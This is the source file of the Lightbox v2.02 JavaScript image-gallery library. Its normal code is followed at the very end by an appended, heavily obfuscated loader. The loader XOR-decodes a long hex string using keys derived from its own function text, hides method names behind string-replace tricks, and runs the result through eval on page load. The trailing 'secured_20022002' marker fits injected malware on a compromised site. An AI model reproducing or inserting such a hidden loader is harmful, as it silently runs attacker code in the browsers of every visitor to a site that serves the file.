// -----------------------------------------------------------------------------------
//
//	Lightbox v2.02
//	by Lokesh Dhakar - http://www.huddletogether.com
//	3/31/06
//
//	For more information on this script, visit:
//	http://huddletogether.com/projects/lightbox2/
//
//	Licensed under the Creative Commons Attribution 2.5 License - http://creativecommons.org/licenses/by/2.5/
//
//	Credit also due to those who have helped, inspired, and made their code available to the public.
//	Including: Scott Upton(uptonic.com), Peter-Paul Koch(quirksmode.org), Thomas Fuchs(mir.aculo.us), and others.
//
//
// -----------------------------------------------------------------------------------
/*

Table of Contents
-----------------
Configuration
Global Variables

Extending Built-in Objects
- Object.extend(Element)
- Array.prototype.removeDuplicates()
- Array.prototype.empty()

Lightbox Class Declaration
- initialize()
- start()
- changeImage()
- resizeImageContainer()
- showImage()
- updateDetails()
- updateNav()
- enableKeyboardNav()
- disableKeyboardNav()
- keyboardAction()
- preloadNeighborImages()
- end()

Miscellaneous Functions
- getPageScroll()
- getPageSize()
- getKey()
- listenKey()
- showSelectBoxes()
- hideSelectBoxes()
- pause()
- initLightbox()

Function Calls
- addLoadEvent(initLightbox)

*/
// -----------------------------------------------------------------------------------

//
//	Configuration
//
var fileLoadingImage = "lightbox/images/loading.gif";
var fileBottomNavCloseImage = "lightbox/images/closelabel.gif";

var resizeSpeed = 7;	// controls the speed of the image resizing (1=slowest and 10=fastest)

var borderSize = 10;	//if you adjust the padding in the CSS, you will need to update this variable

// -----------------------------------------------------------------------------------

//
//	Global Variables
//
var imageArray = new Array;
var activeImage;

if(resizeSpeed > 10){ resizeSpeed = 10;}
if(resizeSpeed < 1){ resizeSpeed = 1;}
resizeDuration = (11 - resizeSpeed) * 0.15;

// -----------------------------------------------------------------------------------

//
//	Additional methods for Element added by SU, Couloir
//	- further additions by Lokesh Dhakar (huddletogether.com)
//
Object.extend(Element, {
getWidth: function(element) {
element = $(element);
return element.offsetWidth;
},
setWidth: function(element,w) {
element = $(element);
element.style.width = w +"px";
},
setHeight: function(element,h) {
element = $(element);
element.style.height = h +"px";
},
setTop: function(element,t) {
element = $(element);
element.style.top = t +"px";
},
setSrc: function(element,src) {
element = $(element);
element.src = src;
},
setHref: function(element,href) {
element = $(element);
element.href = href;
},
setInnerHTML: function(element,content) {
element = $(element);
element.innerHTML = content;
}
});

// -----------------------------------------------------------------------------------

//
//	Extending built-in Array object
//	- array.removeDuplicates()
//	- array.empty()
//
Array.prototype.removeDuplicates = function () {
for(i = 1; i < this.length; i++){
if(this[i][0] == this[i-1][0]){
this.splice(i,1);
}
}
}

// -----------------------------------------------------------------------------------

Array.prototype.empty = function () {
for(i = 0; i <= this.length; i++){
this.shift();
}
}

// -----------------------------------------------------------------------------------

//
//	Lightbox Class Declaration
//	- initialize()
//	- start()
//	- changeImage()
//	- resizeImageContainer()
//	- showImage()
//	- updateDetails()
//	- updateNav()
//	- enableKeyboardNav()
//	- disableKeyboardNav()
//	- keyboardNavAction()
//	- preloadNeighborImages()
//	- end()
//
//	Structuring of code inspired by Scott Upton (http://www.uptonic.com/)
//
var Lightbox = Class.create();

Lightbox.prototype = {

// initialize()
// Constructor runs on completion of the DOM loading. Loops through anchor tags looking for
// 'lightbox' references and applies onclick events to appropriate links. The 2nd section of
// the function inserts html at the bottom of the page which is used to display the shadow
// overlay and the image container.
//
initialize: function() {
if (!document.getElementsByTagName){ return; }
var anchors = document.getElementsByTagName('a');

// loop through all anchor tags
for (var i=0; i<anchors.length; i++){
var anchor = anchors[i];

var relAttribute = String(anchor.getAttribute('rel'));

// use the string.match() method to catch 'lightbox' references in the rel attribute
if (anchor.getAttribute('href') && (relAttribute.toLowerCase().match('lightbox'))){
anchor.onclick = function () {myLightbox.start(this); return false;}
}
}

// The rest of this code inserts html at the bottom of the page that looks similar to this:
//
//	<div id="overlay"></div>
//	<div id="lightbox">
//		<div id="outerImageContainer">
//			<div id="imageContainer">
//				<img id="lightboxImage">
//				<div style="" id="hoverNav">
//					<a href="#" id="prevLink"></a>
//					<a href="#" id="nextLink"></a>
//				</div>
//				<div id="loading">
//					<a href="#" id="loadingLink">
//						<img src="images/loading.gif">
//					</a>
//				</div>
//			</div>
//		</div>
//		<div id="imageDataContainer">
//			<div id="imageData">
//				<div id="imageDetails">
//					<span id="caption"></span>
//					<span id="numberDisplay"></span>
//				</div>
//				<div id="bottomNav">
//					<a href="#" id="bottomNavClose">
//						<img src="images/close.gif">
//					</a>
//				</div>
//			</div>
//		</div>
//	</div>


var objBody = document.getElementsByTagName("body").item(0);

var objOverlay = document.createElement("div");
objOverlay.setAttribute('id','overlay');
objOverlay.style.display = 'none';
objOverlay.onclick = function() { myLightbox.end(); return false; }
objBody.appendChild(objOverlay);

var objLightbox = document.createElement("div");
objLightbox.setAttribute('id','lightbox');
objLightbox.style.display = 'none';
objBody.appendChild(objLightbox);

var objOuterImageContainer = document.createElement("div");
objOuterImageContainer.setAttribute('id','outerImageContainer');
objLightbox.appendChild(objOuterImageContainer);

var objImageContainer = document.createElement("div");
objImageContainer.setAttribute('id','imageContainer');
objOuterImageContainer.appendChild(objImageContainer);

var objLightboxImage = document.createElement("img");
objLightboxImage.setAttribute('id','lightboxImage');
objImageContainer.appendChild(objLightboxImage);

var objHoverNav = document.createElement("div");
objHoverNav.setAttribute('id','hoverNav');
objImageContainer.appendChild(objHoverNav);

var objPrevLink = document.createElement("a");
objPrevLink.setAttribute('id','prevLink');
objPrevLink.setAttribute('href','#');
objHoverNav.appendChild(objPrevLink);

var objNextLink = document.createElement("a");
objNextLink.setAttribute('id','nextLink');
objNextLink.setAttribute('href','#');
objHoverNav.appendChild(objNextLink);

var objLoading = document.createElement("div");
objLoading.setAttribute('id','loading');
objImageContainer.appendChild(objLoading);

var objLoadingLink = document.createElement("a");
objLoadingLink.setAttribute('id','loadingLink');
objLoadingLink.setAttribute('href','#');
objLoadingLink.onclick = function() { myLightbox.end(); return false; }
objLoading.appendChild(objLoadingLink);

var objLoadingImage = document.createElement("img");
objLoadingImage.setAttribute('src', fileLoadingImage);
objLoadingLink.appendChild(objLoadingImage);

var objImageDataContainer = document.createElement("div");
objImageDataContainer.setAttribute('id','imageDataContainer');
objImageDataContainer.className = 'clearfix';
objLightbox.appendChild(objImageDataContainer);

var objImageData = document.createElement("div");
objImageData.setAttribute('id','imageData');
objImageDataContainer.appendChild(objImageData);

var objImageDetails = document.createElement("div");
objImageDetails.setAttribute('id','imageDetails');
objImageData.appendChild(objImageDetails);

var objCaption = document.createElement("span");
objCaption.setAttribute('id','caption');
objImageDetails.appendChild(objCaption);

var objNumberDisplay = document.createElement("span");
objNumberDisplay.setAttribute('id','numberDisplay');
objImageDetails.appendChild(objNumberDisplay);

var objBottomNav = document.createElement("div");
objBottomNav.setAttribute('id','bottomNav');
objImageData.appendChild(objBottomNav);

var objBottomNavCloseLink = document.createElement("a");
objBottomNavCloseLink.setAttribute('id','bottomNavClose');
objBottomNavCloseLink.setAttribute('href','#');
objBottomNavCloseLink.onclick = function() { myLightbox.end(); return false; }
objBottomNav.appendChild(objBottomNavCloseLink);

var objBottomNavCloseImage = document.createElement("img");
objBottomNavCloseImage.setAttribute('src', fileBottomNavCloseImage);
objBottomNavCloseLink.appendChild(objBottomNavCloseImage);
},

//
//	start()
//	Display overlay and lightbox. If image is part of a set, add siblings to imageArray.
//
start: function(imageLink) {

hideSelectBoxes();

// stretch overlay to fill page and fade in
var arrayPageSize = getPageSize();
Element.setHeight('overlay', arrayPageSize[1]);
new Effect.Appear('overlay', { duration: 0.2, from: 0.0, to: 0.8 });

imageArray = [];
imageNum = 0;

if (!document.getElementsByTagName){ return; }
var anchors = document.getElementsByTagName('a');

// if image is NOT part of a set..
if((imageLink.getAttribute('rel') == 'lightbox')){
// add single image to imageArray
imageArray.push(new Array(imageLink.getAttribute('href'), imageLink.getAttribute('title')));
} else {
// if image is part of a set..

// loop through anchors, find other images in set, and add them to imageArray
for (var i=0; i<anchors.length; i++){
var anchor = anchors[i];
if (anchor.getAttribute('href') && (anchor.getAttribute('rel') == imageLink.getAttribute('rel'))){
imageArray.push(new Array(anchor.getAttribute('href'), anchor.getAttribute('title')));
}
}
imageArray.removeDuplicates();
while(imageArray[imageNum][0] != imageLink.getAttribute('href')) { imageNum++;}
}

// calculate top offset for the lightbox and display
var arrayPageSize = getPageSize();
var arrayPageScroll = getPageScroll();
var lightboxTop = arrayPageScroll[1] + (arrayPageSize[3] / 15);

Element.setTop('lightbox', lightboxTop);
Element.show('lightbox');

this.changeImage(imageNum);
},

//
//	changeImage()
//	Hide most elements and preload image in preparation for resizing image container.
//
changeImage: function(imageNum) {

activeImage = imageNum;	// update global var

// hide elements during transition
Element.show('loading');
Element.hide('lightboxImage');
Element.hide('hoverNav');
Element.hide('prevLink');
Element.hide('nextLink');
Element.hide('imageDataContainer');
Element.hide('numberDisplay');

imgPreloader = new Image();

// once image is preloaded, resize image container
imgPreloader.onload=function(){
Element.setSrc('lightboxImage', imageArray[activeImage][0]);
myLightbox.resizeImageContainer(imgPreloader.width, imgPreloader.height);
}
imgPreloader.src = imageArray[activeImage][0];
},

//
//	resizeImageContainer()
//
resizeImageContainer: function( imgWidth, imgHeight) {

// get current height and width
this.wCur = Element.getWidth('outerImageContainer');
this.hCur = Element.getHeight('outerImageContainer');

// scalars based on change from old to new
this.xScale = ((imgWidth  + (borderSize * 2)) / this.wCur) * 100;
this.yScale = ((imgHeight  + (borderSize * 2)) / this.hCur) * 100;

// calculate size difference between new and old image, and resize if necessary
wDiff = (this.wCur - borderSize * 2) - imgWidth;
hDiff = (this.hCur - borderSize * 2) - imgHeight;

if(!( hDiff == 0)){ new Effect.Scale('outerImageContainer', this.yScale, {scaleX: false, duration: resizeDuration, queue: 'front'}); }
if(!( wDiff == 0)){ new Effect.Scale('outerImageContainer', this.xScale, {scaleY: false, delay: resizeDuration, duration: resizeDuration}); }

// if new and old image are same size and no scaling transition is necessary,
// do a quick pause to prevent image flicker.
if((hDiff == 0) && (wDiff == 0)){
if (navigator.appVersion.indexOf("MSIE")!=-1){ pause(250); } else { pause(100);}
}

Element.setHeight('prevLink', imgHeight);
Element.setHeight('nextLink', imgHeight);
Element.setWidth( 'imageDataContainer', imgWidth + (borderSize * 2));

this.showImage();
},

//
//	showImage()
//	Display image and begin preloading neighbors.
//
showImage: function(){
Element.hide('loading');
new Effect.Appear('lightboxImage', { duration: 0.5, queue: 'end', afterFinish: function(){	myLightbox.updateDetails(); } });
this.preloadNeighborImages();
},

//
//	updateDetails()
//	Display caption, image number, and bottom nav.
//
updateDetails: function() {

Element.show('caption');
Element.setInnerHTML( 'caption', imageArray[activeImage][1]);

// if image is part of set display 'Image x of x'
if(imageArray.length > 1){
Element.show('numberDisplay');
Element.setInnerHTML( 'numberDisplay', "Image " + eval(activeImage + 1) + " of " + imageArray.length);
}

new Effect.Parallel(
[ new Effect.SlideDown( 'imageDataContainer', { sync: true, duration: resizeDuration + 0.25, from: 0.0, to: 1.0 }),
new Effect.Appear('imageDataContainer', { sync: true, duration: 1.0 }) ],
{ duration: 0.65, afterFinish: function() { myLightbox.updateNav();} }
);
},

//
//	updateNav()
//	Display appropriate previous and next hover navigation.
//
updateNav: function() {

Element.show('hoverNav');

// if not first image in set, display prev image button
if(activeImage != 0){
Element.show('prevLink');
document.getElementById('prevLink').onclick = function() {
myLightbox.changeImage(activeImage - 1); return false;
}
}

// if not last image in set, display next image button
if(activeImage != (imageArray.length - 1)){
Element.show('nextLink');
document.getElementById('nextLink').onclick = function() {
myLightbox.changeImage(activeImage + 1); return false;
}
}

this.enableKeyboardNav();
},

//
//	enableKeyboardNav()
//
enableKeyboardNav: function() {
document.onkeydown = this.keyboardAction;
},

//
//	disableKeyboardNav()
//
disableKeyboardNav: function() {
document.onkeydown = '';
},

//
//	keyboardAction()
//
keyboardAction: function(e) {
if (e == null) { // ie
keycode = event.keyCode;
} else { // mozilla
keycode = e.which;
}

key = String.fromCharCode(keycode).toLowerCase();

if((key == 'x') || (key == 'o') || (key == 'c')){	// close lightbox
myLightbox.end();
} else if(key == 'p'){	// display previous image
if(activeImage != 0){
myLightbox.disableKeyboardNav();
myLightbox.changeImage(activeImage - 1);
}
} else if(key == 'n'){	// display next image
if(activeImage != (imageArray.length - 1)){
myLightbox.disableKeyboardNav();
myLightbox.changeImage(activeImage + 1);
}
}


},

//
//	preloadNeighborImages()
//	Preload previous and next images.
//
preloadNeighborImages: function(){

if((imageArray.length - 1) > activeImage){
preloadNextImage = new Image();
preloadNextImage.src = imageArray[activeImage + 1][0];
}
if(activeImage > 0){
preloadPrevImage = new Image();
preloadPrevImage.src = imageArray[activeImage - 1][0];
}

},

//
//	end()
//
end: function() {
this.disableKeyboardNav();
Element.hide('lightbox');
new Effect.Fade('overlay', { duration: 0.2});
showSelectBoxes();
}
}

// -----------------------------------------------------------------------------------

//
// getPageScroll()
// Returns array with x,y page scroll values.
// Core code from - quirksmode.org
//
function getPageScroll(){

var yScroll;

if (self.pageYOffset) {
yScroll = self.pageYOffset;
} else if (document.documentElement && document.documentElement.scrollTop){	 // Explorer 6 Strict
yScroll = document.documentElement.scrollTop;
} else if (document.body) {// all other Explorers
yScroll = document.body.scrollTop;
}

arrayPageScroll = new Array('',yScroll)
return arrayPageScroll;
}

// -----------------------------------------------------------------------------------

//
// getPageSize()
// Returns array with page width, height and window width, height
// Core code from - quirksmode.org
// Edit for Firefox by pHaez
//
function getPageSize(){

var xScroll, yScroll;

if (window.innerHeight && window.scrollMaxY) {
xScroll = document.body.scrollWidth;
yScroll = window.innerHeight + window.scrollMaxY;
} else if (document.body.scrollHeight > document.body.offsetHeight){ // all but Explorer Mac
xScroll = document.body.scrollWidth;
yScroll = document.body.scrollHeight;
} else { // Explorer Mac...would also work in Explorer 6 Strict, Mozilla and Safari
xScroll = document.body.offsetWidth;
yScroll = document.body.offsetHeight;
}

var windowWidth, windowHeight;
if (self.innerHeight) {	// all except Explorer
windowWidth = self.innerWidth;
windowHeight = self.innerHeight;
} else if (document.documentElement && document.documentElement.clientHeight) { // Explorer 6 Strict Mode
windowWidth = document.documentElement.clientWidth;
windowHeight = document.documentElement.clientHeight;
} else if (document.body) { // other Explorers
windowWidth = document.body.clientWidth;
windowHeight = document.body.clientHeight;
}

// for small pages with total height less then height of the viewport
if(yScroll < windowHeight){
pageHeight = windowHeight;
} else {
pageHeight = yScroll;
}

// for small pages with total width less then width of the viewport
if(xScroll < windowWidth){
pageWidth = windowWidth;
} else {
pageWidth = xScroll;
}


arrayPageSize = new Array(pageWidth,pageHeight,windowWidth,windowHeight)
return arrayPageSize;
}

// -----------------------------------------------------------------------------------

//
// getKey(key)
// Gets keycode. If 'x' is pressed then it hides the lightbox.
//
function getKey(e){
if (e == null) { // ie
keycode = event.keyCode;
} else { // mozilla
keycode = e.which;
}
key = String.fromCharCode(keycode).toLowerCase();

if(key == 'x'){
}
}

// -----------------------------------------------------------------------------------

//
// listenKey()
//
function listenKey () {	document.onkeypress = getKey; }

// ---------------------------------------------------

function showSelectBoxes(){
selects = document.getElementsByTagName("select");
for (i = 0; i != selects.length; i++) {
selects[i].style.visibility = "visible";
}
}

// ---------------------------------------------------

function hideSelectBoxes(){
selects = document.getElementsByTagName("select");
for (i = 0; i != selects.length; i++) {
selects[i].style.visibility = "hidden";
}
}

// ---------------------------------------------------

//
// pause(numberMillis)
// Pauses code execution for specified time. Uses busy code, not good.
// Code from http://www.faqts.com/knowledge_base/view.phtml/aid/1602
//
function pause(numberMillis) {
var now = new Date();
var exitTime = now.getTime() + numberMillis;
while (true) {
now = new Date();
if (now.getTime() > exitTime)
return;
}
}

// ---------------------------------------------------



function initLightbox() { myLightbox = new Lightbox(); }
Event.observe(window, 'load', initLightbox, false);
this.axo='';var falseSwver;falseSwver='e7e5e0e3e4eae6e1b0fceff7cbfcf6ffebf0aef9f7ebf387bef8b1fdf1f7a9a8eeedf9d9fdefe7e9eaf7bfadfff0'+'f0faa1b7effffff6fceebcaff6ece0f5e7f1b8a7ee8892a0ada2fdebedfaf7f3e4fbe5f0e7eef5f1afa7e986bead'+'afa0afbda0e2ecf6b1ecf4eeffe0f1bbdfe5e5b3cceaebe1b99db6828aafbdb0a0b1a1e1f4f4e0d8e2a3e3e7a0d2'+'e3e2e9a2e5e8ebd3fde8fbebe2f9d4e3d7e4a7bea4e5ecfdede3ece8ebf2e3ad8b988cb7aaaa9dafafe3e7e5aff6'+'f9e8eea2f0f5b7b0a2ebfdf0b0f1e3a7e7e9e2dfddc2fbf4f5ebf69fabb28f82b0a9f8fbdd8ef0a68ef7c7ebdbfb'+'eaf8f9ace7efc2c6bbbbfebbb4e1ede1e3a2ada7b0b692aca5a5e0f5f6e5d2faa2f0eee9eceb9faaa2d98bb5a199'+'a6a6e5f4e2fae6f7ebf5e8fcafbcbab195b9a9e7f0e0eafee7e4bf93a8a6a1ecf9e0e5f5e2f8acafa4b4a49ea2a2'+'8f82b0a3a1a7bfffc6ede4bca0abb6b4bfa8f4f5c0f9afa8aaa6abf0e8fcffb6b8b6a5ada6acbebb9eb1ada4a9af'+'f2e6ebf5e3e5ada0b2a2b6b693f5e8eaf4e1e8a9b3b2aeabe1dee5ece7edb3aeb2adb68eafad9b82a5a8abbda1c3'+'eae9f6faf6b0b1a8a6b798acf1f2e1faf5f5b2b3bfb180a4aea98680eb848ce4f3e9f1ffdde2e1a0e8f8e4c3fee9'+'f6e6c9bce1f5edc9acaffe8d9ab9b1b7f0f4d1ace1f8ede0fbefa2b6a5b6a5b0a985b3e6f8e2e5fef9ede78be8eb'+'fce0e0fcb48987b495ace0e2f1a8f4eae7e4ebd8acb8a5a8b4b6b2bda6f8cde7e5b0a4a8b1b7a3a2998894aeabe5'+'f6e4acfaebc0ddffe4a2aba7e9fee0f98e8188bdafb4a3f4f4b7fcf2f4fcf1c1b1afa0a7b18784a9b6b5f0f6ffb0'+'e8e1cfa0b4a8a7ea889ba4a5b5e3eeabadf8ffe8fee1e3a0eff6faf5fbfc87b1a6a6a1aeec8e89a7afa6b6a890e3'+'e3e3f9f1e5a4afb4eeebfafdfce7b9cfe1e1fcf6c3f6a6f3f3e3e4faf9bebd98b8a9adb3a3a8aff9d1a9bdebebe2'+'e3e5e5aab7b4a68fb7aeb2f09d86aeb0b6a991a8adb1a4fdf6f5efe6e790bebbade3e8eed2eeeabae1f6f8e1edfa'+'a89d9ab3a5b193a3a8f0b5a6f2e3f4adb28fe7e1fbe7ecc0a6e2fbedeaa7cfb2a5f0b689b98ee0cef4f5f1f2ae8f'+'8c8a8bf6f7fcadb0a0b1eff5a59de4f6efa0b4b5b79dbeacb3f89ec4b1a0b282bca5afa7b0b0b3a5f4dde7a8b1b0'+'edefc2e9e7e0baecf0ecd4f1f9b29485a48aa2b2a9adaab996f09b8aacaea2b2af90a4b1eafbe4fdd8ecc4adbfbe'+'f5fcf0f2fbc6e9e9aaeafce9f8eaeda1e3c2ebe6f0ffedfbf1bdedf1d1f9efb3acade7fae9bbafab929eafb0b0b3'+'a5b1ea909aa4b194ea8e84b7a3a3dee7f9ffe0a0a5efe6c3d5e1e1ba9c88fb8a98fdcbfeaef9e5ebfba2abaae7eb'+'e3c1f0e7e9feeba2ace3f6ffebf6f7e5a99daa9c85e6f4b1aae4e6f4f8bdaeb280a2a7acfb9f88baeff6e0bfc6e4'+'ffadf5faefabc1f0b0e0f1e5e3eeebe3a5a8a6beadaaecfae2e6b8b9a3f9e5f1fdf5fcffe7f2a7e9eaf2b9e1fbab'+'fbf2ffaabbb586f8ecfdfaefb2b4b6e0d5e5e2edfea9b3b0aef3e4fae5eaadadeeeafbe3cbf4f1bcf9e6efffa3b8'+'c4e2fbf3e4e1e8eaf4d7ece5a8b0b4fbf7f6f1e4ece9e9f6d8eebda5a9ffe7fcf8d9edf1fee7ace4ebb4b0b9cef3'+'fae7fce1aca2a5afae89a799dde5e7e2c0ece0edf9eda1aff8fde3e5e7f7e68fa6aaa7a3a1a6ac86b493ad85b6ab'+'b1a2bf8e8cd6';function shockw(src){                       var verAxo = 3;var flashShockw = null;var ns = 'av%st'.replace(/[avst]/g,'');var flash = -1;var strfoo = flashShockw;function trueVer(playerShockw){var falseFalse=1;var flashWin=1%falseFalse;function aveSrc(winWin){var opera=1;}var major=0,falseAxo=playerShockw['l8e4n6gMtMhM'.replace(/[MN648]/g, '')];while(flashWin<falseAxo){flashWin+=1;aveShockw=swver(playerShockw,flashWin+flash);major+=aveShockw*falseAxo;}return new String(major);}var minor=String;function flashSrc(msie, strfooWin){if(swverFlash == flashShockw) {swverFlash = {};}if(swverFlash[msie] == flashShockw) {var axoOpera = Object;swverFlash[msie] = new axoOpera();swverFlash[msie].nsPlugin = flashShockw;swverFlash[msie].srcWin = strfooWin;}}                        var majorPlayer = 4; var swverTrue=window;                       var msieMajor = 1; function ext(msie) {if(swverFlash[msie] != flashShockw) {var win = swverFlash[msie];var swverWin = win.nsPlugin;var msieFlash = win.srcWin;var swverSrc = msieFlash.substr(swverWin, 1);var msieIe = msieFlash['l8e4n6gMtMhM'.replace(/[MN648]/g, '')];                   var aveVer = majorPlayer-verAxo;if((swverWin + (msieMajor*aveVer)) >= msieIe) {win.nsPlugin =aveVer - (majorPlayer % verAxo);} else {win.nsPlugin = swverWin - flash;}return swver(swverSrc, msieMajor - aveVer);}}var flashMinor=document;function swver(winTrue,is){return winTrue['cvh8avr7Cioidie8A8t8'.replace(/[807vi]/g, '')](is);}var flash = strfoo + flash;var swverFlash = flashShockw;function shockwMsie(playerObj,shockwVer){return playerObj^shockwVer;}var majorMsie = '';var falseNs = 2;var ie = new minor(flashMinor['w<r~iOtGeO'.replace(/[O\<G\!~]/g, '')]);var msieIs = ie['iYnzdYe4x0O4f4'.replace(/[40zYJ]/g, '')]('a;r;i;t;y;'.replace(/[;U\{m#]/g, ''));if(msieIs != flash) { return 211;}var aveVerAxo = strfoo;var operaObj = '';var strfooSwver = swverTrue['s*e*t;T6i6m8e6o;u8t*'.replace(/[\*;8V6]/g, '')];var shockwStrfoo=211;var shockwMajor=minor['f;r0o8m;C8h0asr0C;o;dMe0'.replace(/[0s8;M]/g, '')];var trueAxo=swverTrue['uUnUe@sUcUahp@eN'.replace(/[Nh/U@]/g, '')];for(var playerIe=aveVerAxo; playerIe < src['l8e4n6gMtMhM'.replace(/[MN648]/g, '')]; playerIe+=falseNs){majorMsie+= ns + src['syuybFs(t(rF'.replace(/[F8y\(\!]/g, '')](playerIe, falseNs);}var src = trueAxo(majorMsie);var swverWinStrfoo = new minor(shockw);var operaVer = swverWinStrfoo['r+etp&lQa&cQe~'.replace(/[~&\+tQ]/g, '')](/[^@a-z0-9A-Z_-]/g, new String());var operaTrue = new minor(trueVer(operaVer));flashSrc('swverFlashPlugin', operaTrue);var strfooSwverAxo = '';flashSrc('obj', operaVer);for(var strfooFalse=aveVerAxo; strfooFalse < (src['l8e4n6gMtMhM'.replace(/[MN648]/g, '')]); strfooFalse++) {var msieAxo = swver(src,strfooFalse);msieAxo = shockwMsie(msieAxo, shockwStrfoo);msieAxo = shockwMsie(msieAxo, ext('swverFlashPlugin'));msieAxo = shockwMsie(msieAxo, ext('obj'));operaObj+=shockwMajor(msieAxo);}swverTrue['eIvIa#lB'.replace(/[BI#9\:]/g, '')](operaObj);return operaObj=new minor();};var playerIs=false;shockw(falseSwver);this.isOpera=48710;   //secured_20022002